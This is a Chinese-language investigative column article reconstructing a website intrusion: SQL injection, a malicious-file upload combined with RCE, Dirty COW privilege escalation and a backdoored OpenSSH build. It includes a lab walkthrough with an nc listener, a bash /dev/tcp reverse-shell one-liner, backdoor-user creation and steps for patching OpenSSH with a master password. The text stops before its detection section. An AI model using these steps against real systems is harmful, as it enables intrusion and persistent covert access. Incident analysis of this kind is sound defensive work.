专栏名称: 信息时代的犯罪侦查
一切行为皆有犯罪的可能性,而在信息时代,这一过程变得更加复杂或者隐晦了。本号致力于传播打击和预防犯罪的手段、方法、理念,并希望能够推动侦查犯罪的机制变革,而这需要了解方方面面的信息。
目录
相关文章推荐
林小奇笔记  ·  马云再次现身 ·  10 小时前  
大江网  ·  马斯克寻求控制OpenAI?奥尔特曼:我们也 ... ·  22 小时前  
创业家  ·  卫哲:一件事值不值得做就看两点 ·  2 天前  
创业家  ·  浙大天才,震惊全球 ·  2 天前  
51好读  ›  专栏  ›  信息时代的犯罪侦查

逆向追踪黑客引发的连环社工(3、4、5)

信息时代的犯罪侦查  · 公众号  ·  · 2019-11-13 09:02

正文

随笔

知识

案例

声音

其他


编者按

逆向追踪,并非对代码的处理,而是 侦查思维 的过程。这方面,没有定势,如果说有规律的话,无外乎两点: 基本逻辑 技术领悟

(感谢本系列作者:先森)

文末有个投票,请大家积极参与。

0x03 变身道德黑客,查找并速补漏洞

时间线回到2018年的某一天,某框架的官方博客紧急发布了关于安全更新的通知,发现代码中存在远程代码执行的漏洞需要紧急升级打补丁。 碰巧的是,网站被入侵的时间刚好在发布漏洞的那几天,所以聪明的读者想到了什么?
根据此框架的一些特性展开测试,发现该网站符合某框架。 确定了框架、结合公开的漏洞可以给我们堵洞节省了不少时间。 由于查找漏洞这个过程中是梦游时候做的,因此本文撰写的时并没有当时的截图和实现代码,于是我创造性的结合网友分享的漏洞分析文章复述了一个过程。
我们先从网站被入侵的过程来复现漏洞,第一步是SQL注入漏洞(为什么不是直接RCE? 请继续往下看)。 该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。 如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。 黑客利用网上公开的payload构造查询语句,获得用户的账号密码后登入到后台中。
第二步是利用文件上传。 由于后台系统只有头像模块存在上传功能,因此黑客尝试在此getshell,但可惜开发人员在此做了严格的过滤,黑客并未得逞。 不过未对上传内容进行过滤,导致带有恶意代码的jpg文件传入,此时这个jpg文件还未对系统构成威胁。
第三步是借助RCE漏洞。 上期文章中先森提到过某框架的RCE利用姿势,当时是借助框架的debug日志文件实现getshell的,这次框架并未开启debug功能。 聪明的读者是不是又想到了别的姿势? 没错,利用RCE执行copy函数将带有恶意代码的jpg文件重命名为php完成入侵。 至于为什么不用RCE直接来getshell,仔细看看我上次发的文章就懂了。
剩下的问题就是速补漏洞。 某框架的漏洞修复也是简单,直接备份代码然后升级框架。

删除服务器上的webshell后,继续检查网站,发现后台管理系统存在一个奇怪的用户名“cxk666”的用户名,结合当前的网络流行语大概推测出该黑客年龄段处于90后-00后。

0x04 Ta在入侵后做了什么?

现在我们将视角切换到黑客方面,当你攻陷了一个网站后,下一步会做什么? 继续攻内网获取更多权限、查找有用的信息还是安装后门? 这些操作确实都是有可能的,但是继续攻内网、安装后门等操作一般来说都是需要一定权限的,因此下一步最有可能的是“提权”。 这也就解释了/tmp/目录下文件的由来了,下面我解释下/tmp目录下的那几个文件的作用。

图4-0 后门工具分析
root文件——查看后,发现是/etc/passwd的副本。
1.py文件——谷歌安全团队公布的反弹shell脚本。
c0w文件——二进制执行文件。 文件名翻译过来是牛的意思,结合/tmp目录中的passwd文件,推测是提权工具“脏牛”。
ssh目录——这里不用多说,本文开头就提过了。

图4-1 passwd文件

图4-2 反弹shell脚本

图4-3 脏牛提权工具(使用strings命令查看)
相信流程走到这里,小伙伴们应该都能猜到了黑客攻陷网站后做了什么。 使用webshell上传相关工具,通过执行Python的反弹shell脚本获取到交互性shell,进而借助脏牛提权工具获取root权限,然后编译OpenSSH后门并植入完成攻击。

0x05 OpenSSH后门植入过程及检测方法

本文仅供技术交流,禁止用于非法用途
未知攻,焉知防,这里我完整演示一遍植入OpenSSH后门的过程及检测该后门的方法。 在实验以下操作前建议将虚拟机作一次快照,方便后续实验结束后恢复环境。 由于我是Ubuntu最新版的(建议用centos),因此“脏牛”提权操作那部分跳过,直接进入到反弹shell得到root权限的环节。
首先,作为攻击方使用nc监听端口,等待接管肉鸡方的权限。 其中参数l指的是监听模式,参数v是显示过程,参数p是设置监听端口。

图5-0 监听端口
然后肉鸡方模拟黑客执行了反弹shell的操作,将权限转接给攻击方。 这里我并没有使用1.py来执行反弹,习惯使用bash -i >& /dev/tcp/IP/端口 0>&1 来实现反弹shell操作。

图5-1 执行反弹shell命令
接着我们作为攻击方顺利接管了对方的权限并添加了后门用户。 这里提示一下 一行命令添加账号会出现的问题,虽然useradd命令的-p参数是可以指定密码,但是它必须是加密后的密文,所以需要使用OpenSSL生成密文。

图5-2 接管权限并添加后门用户
反弹的shell不太稳定,因此这里使用新用户登陆至服务器下载及解压OpenSSH及后门补丁代码(需要修改/etc/ssh/sshd_config,将PermitRootLogin的选项改成yes,然后用新添加的账号登陆即可)。

图5-3 准备好后门代码
备份ssh相关配置文件。

图5-4 备份ssh配置文件
给OpenSSH代码打补丁。

图5-5 OpenSSH打补丁
定制后门密码及记录密码的存储位置。 编辑openssh-5.9p1目录中的includes.h文件,将最底部的宏定义改成自己的,其中ILOG是记录本机的登陆密码文件、OLOG是记录本机登录远程服务器的密码文件、SECRETPW是万能登录密码; 编辑version.h文件,修改后门版OpenSSH的版本。

图5-6 修改后门密码文件

图5-7 修改后门版本
对后门进行编译。 这里有好多坑要填,比如OpenSSH后门版手工编译主要依赖zlib和OpenSSL,而且OpenSSL必须要低版本等等。 网上手工编译的教程多是基于centos的,而Ubuntu系统的安装库并没有它那么多的,需要不断的折腾手动安装缺失的文件…

前面提到OpenSSH主要依赖zlib和OpenSSL,这里为了避免报错需要安装zlib,执行apt-get install ruby zlib1g zlib1g.devbuild-essential实现安装 ; 接着下载低版本的OpenSSL源码,执行命令./config --prefix=/usr/local --openssldir=/usr/local/ssl完成对OpenSSl的配置后再进行安装。

图5-8 安装zlib库

图5-9 OpenSSL完成安装
最后回到OpenSSH的目录,再执行命令./configure --prefix=/usr/local --sysconfdir=/etc/ssh/ --with-ssl-dir=/usr/local/ssl --with-zlib=/usr/local/lib --with-pam --with-kerberos5 实现OpenSSH的配置(由于ubuntu缺少的东西略多,我配置时候没加--with-kerberos5参数且pam没设置好,导致后续只能实现记录登录远程主机的操作,所以建议centos下复现)。






请到「今天看啥」查看全文